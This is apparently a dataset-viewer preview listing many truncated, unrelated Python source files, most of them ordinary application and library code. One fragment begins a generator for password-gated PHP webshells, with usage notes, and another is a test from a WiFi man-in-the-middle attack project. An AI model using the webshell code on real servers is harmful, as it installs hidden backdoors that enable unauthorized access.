src stringlengths 721 1.04M |
|---|
# -*- coding: utf-8 -*-
from devilry.devilry_cradmin import devilry_listbuilder
from devilry.devilry_cradmin.devilry_listbuilder.period import AdminItemValue
from django.db import models
from itertools import groupby
from django.utils.translation import gettext, gettext_lazy
from django.views.generic import Template... |
import re
def test():
text = \
''' You can contact us at myname@server.site.com
or at yourname AT server DOT site DOT com.
Also at o u r n a m e @ s e r v e r dot s i t e dot c o m
and t.h.e.i.r.n.a.m.e at server dot s/i/t/e DOT COM.
'''
for email in emailLee... |
# MainWindow.py
#
# Copyright (C) 2014-2018 Kano Computing Ltd.
# License: http://www.gnu.org/licenses/gpl-2.0.txt GNU GPLv2
#
# The MainWindow class
from gi import require_version
require_version('Gtk', '3.0')
from gi.repository import Gtk, Gdk
from kano_apps import Media
from kano_apps.UIElements import Contents
fr... |
#!/usr/bin/python3
# -*- coding:utf-8 -*-
__author__ = "Tobias Wiesner"
__license__ = "GPL 3.0"
__maintainer__ = "Tobias Wiesner"
__email__ = "tobias@tawiesn.de"
import sys
import unittest
import itertools
from bitstring import BitArray
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5.QtTest impor... |
#!/usr/bin/python
#------------------------------------------------------------------------------
#
# This file is a part of autils.
#
# Copyright 2011-2016 Andrew Lamoureux
#
# autils is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Fr... |
#!/usr/bin/env python
'''
Performs OpenCV's StereoSGBM stereo matching. Usage py_stereo.py LeftImg RightImg
'''
from Q50_config import *
import sys, os
from GPSReader import *
from GPSTransforms import *
from VideoReader import *
from LidarTransforms import *
import numpy as np
import scipy as sp
import cv2, cv
from ... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
import re
src = r"transactions_2015.txt"
keywords_src = r"transaction_keywords.txt"
parser = argparse.ArgumentParser(
description=(
'Checks hockey transaction protocols for unusual terms, ' +
'i.e. typos etc.'))
parser.add_argument(
... |
# datagrepper-client -- A Python client for datagrepper
# Copyright (C) 2015 Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option... |
class TitleIndex:
def __init__(self, songbook, params):
self.title = ''
self.filter = lambda x : True
if 'title' in params: self.title = params['title']
if 'filter' in params: self.filter = params['filter']
def draw(self, canvas, songbook):
sb = songbook
st = sb.style
c = canvas
wdt = sb.width
pos... |
import config
ANNOUNCE_MESSAGE = """
**[{title}]({url})**
{timestamp}
Created by {created_by}
To start an RSVPBot thread for this event:
```{key_word} init {url}```
""".strip()
MSG_CREATE_EVENT_ON_RC_CALENDAR = """
RSVPBot events are saved on the RC calendar. To create an event that will be tracked in this thread, g... |
# Copyright (C) 2014 InfiniDB, Inc.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; version 2 of
# the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOU... |
#
# Project: MXCuBE
# https://github.com/mxcube
#
# This file is part of MXCuBE software.
#
# MXCuBE is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your... |
# -*- coding: utf-8 -*-
"""Family module for Wikibooks."""
from __future__ import absolute_import, unicode_literals
from pywikibot import family
__version__ = '$Id$'
# The Wikimedia family that is known as Wikibooks
class Family(family.SubdomainFamily, family.WikimediaFamily):
"""Family class for Wikibooks.""... |
import os
from mobs import *
from inventory import *
import terminaloutput
modify_text_file = terminaloutput.modify_text_file
def init():
global gameover, lives, active_input, active_screen, active_message, start_inventory, active_inventory, inventory, active_hit_strings, active_miss_strings, num_mobs, hit_strings, m... |
# Opus/UrbanSim urban simulation software.
# Copyright (C) 2005-2009 University of Washington
# See opus_core/LICENSE
from abstract_zone_access_variable import Abstract_Zone_Access_Variable
class home_access_to_employment_DDD(Abstract_Zone_Access_Variable):
"""The accessibility for the households in the g... |
import roslib
import rospy
import sys
import timeit
import os
import Image_Process
import cv2
import cv2.cv as cv
import numpy as np
import BoW
import Analysis
import Segmentation
from sklearn import cluster
import Descriptors
class Learn:
def __init__(self):
path = "/media/iglu/Data/Dataset/DatasetIglu/Da... |
#!/usr/bin/env python
# Copyright (C) 2012 Tianyang Li
# tmy1018@gmail.com
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any lat... |
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db.backends.postgresql_psycopg2.creation import DatabaseCreation
class PostGISCreation(DatabaseCreation):
geom_index_type = 'GIST'
geom_index_opts = 'GIST_GEOMETRY_OPS'
def sql_indexes_for_field(self, mode... |
import os
import sys
import subprocess
from setuptools import setup, find_packages
from distutils.version import LooseVersion
if sys.version_info.major != 3:
print('This Python is only compatible with Python 3, but you are running '
'Python {}. The installation will likely fail.'.format(sys.version_info.... |
from enigma import getPrevAsciiCode
from Tools.NumericalTextInput import NumericalTextInput
from Tools.Directories import resolveFilename, SCOPE_CONFIG, fileExists
from Components.Harddisk import harddiskmanager
from copy import copy as copy_copy
from os import path as os_path
from time import localtime, strftime
# Co... |
# -*- coding: utf-8 -*-
import httplib as http
from flask import request
from modularodm.exceptions import ValidationError, ValidationValueError
from framework import forms
from framework import status
from framework.auth import cas
from framework.auth import User, get_user
from framework.auth.core import generate_c... |
# monitor.py
#
# Copyright (C) 2011-2015 Red Hat, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This progr... |
import backoff
from googleapiclient import discovery
from googleapiclient.errors import HttpError
from oauth2client.service_account import ServiceAccountCredentials
import socket
from rdr_service.services.gcp_utils import gcp_get_iam_service_key_info
class GoogleSheetsClient:
"""
Allows for interacting with ... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
import random
#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero
shell = '''<?php
class {0}{1}
public ${2} = null;
public ${3} = null;
function __construct(){1}
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
... |
#!/usr/bin/env python
import os
import sys
from setuptools import setup, find_packages
from pip.req import parse_requirements
import version
import pkg_resources
here = os.path.abspath(os.path.dirname(__file__))
try:
with open(os.path.join(here, '../README.md')) as f:
README = f.read()
with open(os.path.join(... |
#!/usr/bin/env python
# <Music score creator. Generate a sheet music from an audio.>
# Copyright (C) <2014> <Jose Carlos Montanez Aragon>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Softwa... |
#!/usr/bin/python
"""
A Framework of Back Propagation Neural Network(BP) model
Easy to use:
* add many layers as you want !!!
* clearly see how the loss decreasing
Easy to expand:
* more activation functions
* more loss functions
* more optimization method
Author: Stephen Lee
Github : https://gi... |
# Django libraries
from django.shortcuts import render_to_response
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.template import RequestContext
from django.contrib.auth.decorators import login_required
from django.conf import settings
# djauction models and forms... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import re
import sys
import random
import importlib
from twisted.python import log
sys.path.append('.')
import regex2dfa
import fte.encoder
import fte.bit_ops
import marionette_tg.channel
EVENT_LOOP_FREQUENCY_S = 0.001
# the following varibles are reserved ... |
#!/usr/bin/env python3
# Software License Agreement (BSD License)
#
# Copyright (c) 2019, UFACTORY, Inc.
# All rights reserved.
#
# Author: Vinman <vinman.wen@ufactory.cc> <vinman.cub@gmail.com>
"""
Example: Set reduced mode
"""
import os
import sys
import time
sys.path.append(os.path.join(os.path.dirname(__file__), ... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
#!/usr/bin/python3
# coding=utf-8
"""
The MIT License (MIT)
Copyright (c) 2015 iworm roger@iworm.net
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including with... |
import asyncio_extras
import os
import importlib
from async_generator import yield_
from pyplanet.conf import settings
from pyplanet.core.storage import StorageDriver, StorageInterface
class Storage(StorageInterface):
"""
The storage component manager is managing the storage access trough drivers that can be cust... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
#!/usr/bin/env python3
from Pegasus.DAX3 import *
import sys
import os
if len(sys.argv) != 2:
print "Usage: %s PEGASUS_HOME" % (sys.argv[0])
sys.exit(1)
# Create a abstract dag
diamond = ADAG("diamond")
# Add input file to the DAX-level replica catalog
a = File("f.a")
a.addPFN(PFN("file://" + os.getcwd() + "/f.a"... |
"""
Classes for Various Statistical Distributions.
References:
- Regress+ A compendium of common probability distributions (version 2.3)
by Michael P. McLaughlin (mpmcl@mitre.org)
http://www.causascientia.org/math_stat/Dists/Compendium.pdf
- Hand-book on statistical distributions for experimenta... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
# -*- coding: utf-8 -*-
"""
Copyright (c) 2015, Jairus Martin.
Distributed under the terms of the MIT License.
The full license is in the file COPYING.txt, distributed with this software.
Created on Aug 28, 2015
"""
from atom.api import (
Typed, Instance, Property, Int
)
from enamlx.qt.qt_abstract_item_view import ... |
# -*- coding: utf-8 -*-
import re
import sys
import os
import json
import subprocess
from xml.sax.saxutils import unescape
try:
import cStringIO as StringIO
except ImportError:
import StringIO
from bottle import Bottle, run, static_file
from jinja2 import Environment, FileSystemLoader
from pygments import h... |
# forever-alone: A course and free time matching web app for college students
# Copyright (C) 2011 Lawrence Patrick Calulo
#
# This file is part of forever-alone.
#
# forever-alone is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# t... |
import sys
import glob
import pkgutil
import os
import fnmatch
from setuptools import setup
from pycmm.settings import DNASEQ_SLURM_MONITOR_PIPELINE_BIN
from pycmm.settings import DUMMY_TABLE_ANNOVAR_BIN
from pycmm.settings import MUTREP_SLURM_MONITOR_PIPELINE_BIN
from pycmm.settings import MUTREP_FAMILY_REPORT_BIN
fro... |
import threading
from wsgiref import simple_server
from ws4py.server import wsgirefserver
from ws4py.server import wsgiutils
class WebSocketServerThread(threading.Thread):
def __init__(self, host, port, webSocketServerClass):
super(WebSocketServerThread, self).__init__()
self.__host = host
... |
#!/usr/bin/python3
"""
Service for github CI to talk too
See: https://github.com/tasleson/lsm-ci/blob/master/LICENSE
"""
import pprint
import requests
from bottle import route, run, request, template
import os
from bottle import response
import time
import threading
import hmac
import hashlib
import sys
import datetime... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
import click
from bottle import static_file, Bottle, run, TEMPLATE_PATH
from beaker.middleware import SessionMiddleware
from secondbottle import settings
from secondbottle.routes import Routes
TEMPLATE_PATH.insert(0, sett... |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
import logging
import openerp
from openerp import api
from openerp import SUPERUSER_ID
from openerp import tools
from openerp.modules.module import get_module_resource
from openerp.osv import fields, osv
from openerp.to... |
import urllib2 as ur
import re, traceback
import sys
import os
from scw.fetcher import Fetcher
from scw.app import App
class CacheWarmer():
def __init__(self, sitemap, processes = 100):
self.processes = processes
self.active_threads = []
self.app = App()
self.urls = []
self.updated_count = 0
self.fetch... |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2010 Edgewall Software
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at http://trac.edgewall.org/wiki/TracLicense.
#
# This software consists o... |
# -*- coding: utf-8 -*-
# Copyright 2021 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
"""
Finds and stores APIs in the 'api_lib' global variable
"""
import pkgutil
import inspect
import traceback
from athena import settings
api_lib = None
def find_apis():
""" Find APIs """
global api_lib
api_lib = {}
print('~ Looking for APIs in:', settings.API_DIRS)
for finder... |
from validate_email import validate_email
class ValueFormatError(Exception):
"""Invalid format detected."""
pass
class ValueFormat(object):
"""A :class:`~oldman.validation.value_format.ValueFormat` object
checks the values and converts `rdflib.term.Identifier` objects into
Python objects.
""... |
#30/06/2017
#VELLEYEN Stephane
#############################
import os,sys
import vxi11
instr = vxi11.Instrument("192.168.1.10")
print(instr.ask("*IDN?"))
choix=sys.argv[1]
if choix =="1": #Choix des parametres
ch=sys.argv[2]
func=sys.argv[3]
freq=sys.argv[4]
vcc=sys.argv[5]
vcc=int(vcc)
vmax=vpp/2
vm... |
"""Wrapper functions for Tcl/Tk.
Tkinter provides classes which allow the display, positioning and
control of widgets. Toplevel widgets are Tk and Toplevel. Other
widgets are Frame, Label, Entry, Text, Canvas, Button, Radiobutton,
Checkbutton, Scale, Listbox, Scrollbar, OptionMenu, Spinbox
LabelFrame and PanedWindow.
... |
from __future__ import division
import pandas as pd
import os.path
import sys
# parentddir = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))
# sys.path.append(parentddir)
from base.uber_model import UberModel, ModelSharedInputs
from .earthworm_functions import EarthwormFunctions
class Earthw... |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import logging
import multiprocessing
from pylib import android_commands
from pylib.base.test_result import TestResults
from pylib.forwarder import For... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from models import Video
from utils import safe_filename
from utils import MultipleObjectsReturned, YouTubeError, CipherError
try:
from urllib2 import urlopen
from urlparse import urlparse, parse_qs, unquote
except ImportErro... |
#!/usr/bin/env python3
"""
Unit tests for capture module
Automation of MitM Attack on WiFi Networks
Bachelor's Thesis UIFS FIT VUT
Martin Vondracek
2016
"""
import time as _time
import typing as _typing
import unittest as _unittest
from wifimitm.updatableProcess import UpdatableProcess
from wifimitm.capture import Du... |
# -*- coding: utf-8 -*-
from django import template
from django.db.models.query import QuerySet
import datetime
from django import template
from django.contrib.auth.models import Group
from django.contrib.auth.models import User
from django.db.models import Q
register = template.Library()
@register.inclusion_tag('side... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
# coding: utf8
# Copyright 2014-2015 Vincent Jacques <vincent@vincent-jacques.net>
import datetime
import LowVoltage as _lv
import LowVoltage.testing as _tst
class CreateTableLocalIntegTests(_tst.LocalIntegTests):
def tearDown(self):
self.connection(_lv.DeleteTable("Aaa"))
super(CreateTableLoca... |
import wx
import os, sys
import signal
import traceback
all_processes = { }
MAX_CAPTURES = 8
def sigchld_handler(signum, frame):
(pid, status) = os.wait( )
if all_processes.has_key(pid):
all_processes[pid].on_dead(status)
else:
print "unknown child died?"
def sigint_handler(signum, frame... |
import copy
import datetime
from collections import OrderedDict
from decimal import Decimal
from functools import wraps
from six import add_metaclass
#: Defines the version of the `normalazy` library.
__version__ = "0.0.3"
def iffnotnull(func):
"""
Wraps a function, returns None if the first argument is Non... |
# Copyright (c) 2015 SONATA-NFV and Paderborn University
# ALL RIGHTS RESERVED.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... |
from rules.hexcell import HexCell
class HexGrid:
"""A grid of HexCells.
Registered cells are preserved. As this represents the entire infinite hex
plane, any cell can be gotten. However, only registered cells are guaranteed
to be identical on future calls.
"""
def __init__(self):
self... |
from datetime import datetime, timedelta
from django.conf import settings
from django.contrib.syndication.views import Feed
from django.core.urlresolvers import reverse
from django.db.models import Q
from django.http import Http404
from django.shortcuts import get_object_or_404
from source.articles.models import Arti... |
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this ... |
"""
Copyright (c) 2010-2012 Tijmen Tieleman
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distr... |
from apscheduler.schedulers.blocking import BlockingScheduler
from bamslips.fund.fund_realtime_info import paralle_get_fund_realtime_info_according_fund_code
from bamslips.conf.fund_code_list import code_list
sched = BlockingScheduler()
#@sched.scheduled_job('cron',id='fund_realtime_fun_info_job',hour='0-4,9-16,21-2... |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'RecordPermission'
db.create_table(u'accounts_recordpermission', (
(u'id', self.g... |
# Copyright (c) 2016-2020, The Bifrost Authors. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditi... |
#!/usr/bin/env python -u
"""
Nephele - Finding movies to watch on the internet is easy,
finding GOOD movies to watch is hard. Let Nephele, the greek
nymph of the clouds, help you.
Usage:
nephele.py get_popular [--limit=<n>] [--filter=<spec>] [--debug]
nephele.py get_grades <directory> [--limit=<n>] [--filter... |
# coding=utf-8
#
# Copyright (C) 2016 Julian Mueller
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program ... |
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
from math import cos, sin, atan2, exp, sqrt, pi
from random import uniform
from copy import copy
from pose import Pose
from velocity import Velocity
from filter_parameters import MotionModelNoiseParameters
class MotionModel(object):
'''Defines a utility for sampling a motion model.
Author -- Aleksandar Mitre... |
# -*- coding: utf8 -*-
import ast
import re
import warnings
import yaml # use yaml instead of json to get non unicode (works with ascii only data)
from rlp.utils import decode_hex, encode_hex
from ethereum import utils
from ethereum.utils import encode_int, zpad, big_endian_to_int, is_numeric, is_string, ceil32
from... |
"""Adds vpn users"""
from baseCmd import *
from baseResponse import *
class addVpnUserCmd (baseCmd):
typeInfo = {}
def __init__(self):
self.isAsync = "true"
"""password for the username"""
"""Required"""
self.password = None
self.typeInfo['password'] = 'string'
... |
"""Wrapping Autodesk Desktop Connector API"""
#pylint: disable=bare-except,broad-except
import os.path as op
from pyrevit import PyRevitException
from pyrevit.framework import clr, Process
from pyrevit.coreutils import logger
mlogger = logger.get_logger(__name__)
ADC_NAME = "Autodesk Desktop Connector"
ADC_SHORTNAM... |
import unittest
import numpy
import six
import chainer
from chainer.backends import cuda
from chainer import functions
from chainer import testing
from chainer.testing import attr
from chainer.testing import backend
_inject_backend_tests = backend.inject_backend_tests(
None,
# CPU tests
testing.product(... |
# Generated by Django 2.0.8 on 2018-10-22 03:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('taxonomy', '0002_auto_20180926_1147'),
]
operations = [
migrations.AlterField(
model_name='hbvfamily',
name='class_n... |
import functools
import logging
from waldur_core.structure.exceptions import ServiceBackendNotImplemented
logger = logging.getLogger(__name__)
def log_backend_action(action=None):
""" Logging for backend method.
Expects django model instance as first argument.
"""
def decorator(func):
@fun... |
# Copyright 2019-2020 by Christopher C. Little.
# This file is part of Abydos.
#
# Abydos is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later versio... |
###########################################################################
#
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/... |
import traceback
import threading
import multiprocessing
from Queue import Empty
from time import sleep
from kivy.logger import Logger
from autosportlabs.comms.commscommon import PortNotOpenException
STAY_ALIVE_TIMEOUT = 4
COMMAND_CLOSE = 'CLOSE'
COMMAND_KEEP_ALIVE = 'PING'
def connection_process_message_reader(rx_qu... |
"""
ldr.py
Display analog data from Arduino using Python (matplotlib)
Author: Mahesh Venkitachalam
Website: electronut.in
"""
import argparse
import serial
from collections import deque
import matplotlib.pyplot as plt
import matplotlib.animation as animation
# plot class
class AnalogPlot(object):
# constr
d... |
#!/usr/bin/env python
# Drive APMrover2 in SITL
from __future__ import print_function
import os
import pexpect
import shutil
import time
from common import AutoTest
from pysim import util
from pymavlink import mavutil
# get location of scripts
testdir = os.path.dirname(os.path.realpath(__file__))
# HOME = mavuti... |
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vi: set ft=python sts=4 ts=4 sw=4 et:
import warnings
warnings.simplefilter('ignore')
from nipype.testing import *
from nipype.interfaces import afni
from nipype.interfaces.base import InterfaceResult
def afni_not_installed():
''' XXX: Th... |
import re
import collections
from enum import Enum
from ydk._core._dm_meta_info import _MetaInfoClassMember, _MetaInfoClass, _MetaInfoEnum
from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict
from ydk._core._dm_meta_info import ATTRIBUTE, REFERENCE_CLASS, REFERENCE_LIST, REFERENCE_LEAFLI... |
from itertools import chain, repeat
from cities_light.models import Country
from django.contrib.auth import get_user_model
from django.test import TestCase
from accounts.models import Team, UserProfile
from challenges.models import Category, Challenge, ChallengeSolved
class UserScoreTest(TestCase):
def setUp(se... |
#coding=utf-8
import abc
class AutoStorage:
__counter = 0
def __init__(self):
cls = self.__class__
prefix = cls.__name__
index = cls.__counter
self.storage_name = '_{}#{}'.format(prefix, index)
cls.__counter += 1
def __get__(self, instance, owner):
if ins... |
# Create your views here.
from rest_framework import status
from rest_framework.decorators import api_view
from rest_framework.response import Response
from models import Profile,Application,Tab,Page,Footer
from serializer import ProfileSerializer,TabSerializer,FooterSerializer
from django.shortcuts import render
from ... |
import unittest, time, sys, random, math, getpass
sys.path.extend(['.','..','py'])
import h2o, h2o_cmd, h2o_hosts, h2o_import as h2i
import h2o_summ
DO_MEDIAN = True
def write_syn_dataset(csvPathname, rowCount, colCount, expectedMin, expectedMax, SEED):
r1 = random.Random(SEED)
dsf = open(csvPathname, "w+")
... |
import os
import binascii
import re
import urllib
import datetime
import time
import collections
import json
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
import sys
def tochunks(l, n):
for i in range(0, len(l), n):
yield l[i:i + n]
# Ge... |
import inspect
import importlib
import os.path
from urlparse import urlunsplit
"""
* adds github_link(mode) context variable: provides URL (in relevant mode) of
current document on github
* if sphinx.ext.linkcode is enabled, automatically generates github linkcode
links (by setting config.linkcode_resolve)
Settin... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import shutil
import logging
import time
import re
import requests
import ssl
import json
from distutils.version import StrictVersion
from threading import Thread, Event
from queue import Queue
from flask_cors import CORS
from flask_cache_bust import... |
#! /usr/bin/python
#Guruprasad Ananda
#MAQ mapper for SOLiD colourspace-reads
import sys, os, zipfile, tempfile, subprocess
def stop_err( msg ):
sys.stderr.write( "%s\n" % msg )
sys.exit()
def __main__():
out_fname = sys.argv[1].strip()
out_f2 = open(sys.argv[2].strip(),'r+')
ref_fname = sys.ar... |
# -*- coding: utf-8 -*-
"""
Created on Thu Apr 16 17:33:36 2015
@author: Filippo
"""
import os, sys, pygame
from pygame.locals import *
import fpgaApi as f
types= ['DSP','LAB','MK20','NonRec']
WHITE = 255,255,255
GREEN = 0,255,0
BLACK = 0,0,0
BLUE = 0,0,255
RED = 255,0,0
YELLOW = 0,255,255
colors = ... |
import numpy as np
# in this file the parameters used in the simulation are set
# string parameters
f1 = 934.60 # fundamental string frequency
l = 0.200 # string length
d = 0.898e-3
rhoV = 7850.
A = np.pi * (d/2.)**2
m_s = A * l * rhoV # total string mass
print m_s
b1 = 1.1 ... |
"""Reproduce results from Table 1 `bib.sakov2012iterative`."""
import numpy as np
import dapper.mods as modelling
from dapper.mods.Lorenz63 import LPs, Tplot, dstep_dx, step, x0
t = modelling.Chronology(0.01, dkObs=25, KObs=1000, Tplot=Tplot, BurnIn=4*Tplot)
Nx = len(x0)
Dyn = {
'M': Nx,
'model': step,
... |
#!/usr/bin/env python
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.